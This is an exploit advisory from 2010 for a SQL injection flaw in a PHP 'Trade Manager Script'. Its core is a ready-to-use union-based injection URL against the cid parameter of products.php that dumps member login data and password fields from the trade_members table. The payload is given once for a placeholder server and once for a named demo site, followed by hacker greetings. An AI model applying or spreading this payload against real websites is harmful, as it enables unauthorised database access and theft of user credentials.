Trade Manager Script SQL Injection

`  
  
  
# Exploit Title: Trade Manager Script SQL injection Vulnerability  
# Date: 11/02/2010  
# Author: JaMbA  
# Software Link: N/A  
# Version: all version  
# Tested on: Windows & Linux  
# CVE : ()  
  
:::::::::::::::::::::::::  
  
Exploit Title : Trade Manager Script SQL injection Vulnerability  
  
Author : JaMbA  
  
Script Site : www.commodityrentals.com<http://www.commodityrentals.com>  
  
Version : All Versions  
  
Tested on : Windows & Linux  
  
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  
  
:::::::::::::::::::::::::  
  
=====================================Exploit===============  
  
=========================  
  
[ EXPL0!T ]  
  
http://server/products.php?cid=-17+UnioN+AlL+SelEct+1,concat(sb_lastlogin,0x3e,sb_password),3,4,5,6,7,8+from+trade_members--  
  
[ D3M0 ]  
  
http://trademanager.webmyneproducts.com/products.php?cid=-17+UnioN+AlL+SelEct+1,concat(sb_lastlogin,0x3e,sb_password),3,4,5,6,7,8+from+trade_members--  
  
  
===========================================================  
Good luck for the Tunisian team handball in Can  
=========================  
  
Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek  
=== 3SI lycee jbel jloud ====  
  
  
  
  
  
`